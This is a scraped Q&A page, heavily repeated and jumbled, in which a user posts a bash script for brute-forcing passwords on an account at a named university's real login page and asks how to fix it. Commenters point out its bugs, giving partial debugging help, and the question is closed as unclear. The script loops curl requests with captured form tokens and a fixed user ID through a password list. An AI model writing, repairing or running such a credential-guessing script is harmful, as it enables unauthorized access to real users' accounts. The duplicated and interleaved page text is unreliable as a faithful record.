brute forcer tool in bash have problem [closed]
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i coded an tool with bash script for bruteforcing one of website accounts.
my code is:
#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done
Password not found!
how i can fix it?
bash
edited Jan 18 at 7:20
Caleb
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closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26
Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.
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-3
i coded an tool with bash script for bruteforcing one of website accounts.
my code is:
#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done
Password not found!
how i can fix it?
bash
edited Jan 18 at 7:20
Caleb
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asked Jan 15 at 13:41
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closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26
Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.
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The script never uses any data from your filepasswd.txt. It only counts the lines in the file. Variablelinesdoesn't contain what you seem to think. To see one of the problems I suggest to addecho "lines=$lines"after assigning a value tolines.
– Bodo
Jan 15 at 14:17
1
afterlines=$(wc -l passwd.txt | cut -d " " -f1)the variablelineshas the number of lines inpasswd.txt, rather than the contents of passwd.txt. Then you get confused between yourlinesandlinesNumvariables, the while loop needs to compare with linesNum.
– icarus
Jan 15 at 16:22
Your edit removed all the code from the question...
– nohillside
Jan 16 at 10:39
2
Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"
– Kusalananda
Jan 16 at 14:09
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i coded an tool with bash script for bruteforcing one of website accounts.
my code is:
#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done
Password not found!
how i can fix it?
bash
edited Jan 18 at 7:20
Caleb
50.7k9146191
asked Jan 15 at 13:41
user10911955user10911955
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i coded an tool with bash script for bruteforcing one of website accounts.
my code is:
#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done
Password not found!
how i can fix it?
bash
bash
edited Jan 18 at 7:20
Caleb
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asked Jan 15 at 13:41
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edited Jan 18 at 7:20
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edited Jan 18 at 7:20
Caleb
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edited Jan 18 at 7:20
Caleb
50.7k9146191
edited Jan 18 at 7:20
Caleb
50.7k9146191
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asked Jan 15 at 13:41
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asked Jan 15 at 13:41
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asked Jan 15 at 13:41
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closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26
Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.
closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26
Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.
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The script never uses any data from your filepasswd.txt. It only counts the lines in the file. Variablelinesdoesn't contain what you seem to think. To see one of the problems I suggest to addecho "lines=$lines"after assigning a value tolines.
– Bodo
Jan 15 at 14:17
1
afterlines=$(wc -l passwd.txt | cut -d " " -f1)the variablelineshas the number of lines inpasswd.txt, rather than the contents of passwd.txt. Then you get confused between yourlinesandlinesNumvariables, the while loop needs to compare with linesNum.
– icarus
Jan 15 at 16:22
Your edit removed all the code from the question...
– nohillside
Jan 16 at 10:39
2
Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"
– Kusalananda
Jan 16 at 14:09
add a comment |
1
The script never uses any data from your filepasswd.txt. It only counts the lines in the file. Variablelinesdoesn't contain what you seem to think. To see one of the problems I suggest to addecho "lines=$lines"after assigning a value tolines.
– Bodo
Jan 15 at 14:17
1
afterlines=$(wc -l passwd.txt | cut -d " " -f1)the variablelineshas the number of lines inpasswd.txt, rather than the contents of passwd.txt. Then you get confused between yourlinesandlinesNumvariables, the while loop needs to compare with linesNum.
– icarus
Jan 15 at 16:22
Your edit removed all the code from the question...
– nohillside
Jan 16 at 10:39
2
Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"
– Kusalananda
Jan 16 at 14:09
1
1
The script never uses any data from your file
passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.– Bodo
Jan 15 at 14:17
The script never uses any data from your file
passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.– Bodo
Jan 15 at 14:17
1
1
after
lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.– icarus
Jan 15 at 16:22
after
lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.– icarus
Jan 15 at 16:22
Your edit removed all the code from the question...
– nohillside
Jan 16 at 10:39
Your edit removed all the code from the question...
– nohillside
Jan 16 at 10:39
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Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"
– Kusalananda
Jan 16 at 14:09
Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"
– Kusalananda
Jan 16 at 14:09
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The script never uses any data from your file
passwd.txt. It only counts the lines in the file. Variablelinesdoesn't contain what you seem to think. To see one of the problems I suggest to addecho "lines=$lines"after assigning a value tolines.– Bodo
Jan 15 at 14:17
1
after
lines=$(wc -l passwd.txt | cut -d " " -f1)the variablelineshas the number of lines inpasswd.txt, rather than the contents of passwd.txt. Then you get confused between yourlinesandlinesNumvariables, the while loop needs to compare with linesNum.– icarus
Jan 15 at 16:22
Your edit removed all the code from the question...
– nohillside
Jan 16 at 10:39
2
Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"
– Kusalananda
Jan 16 at 14:09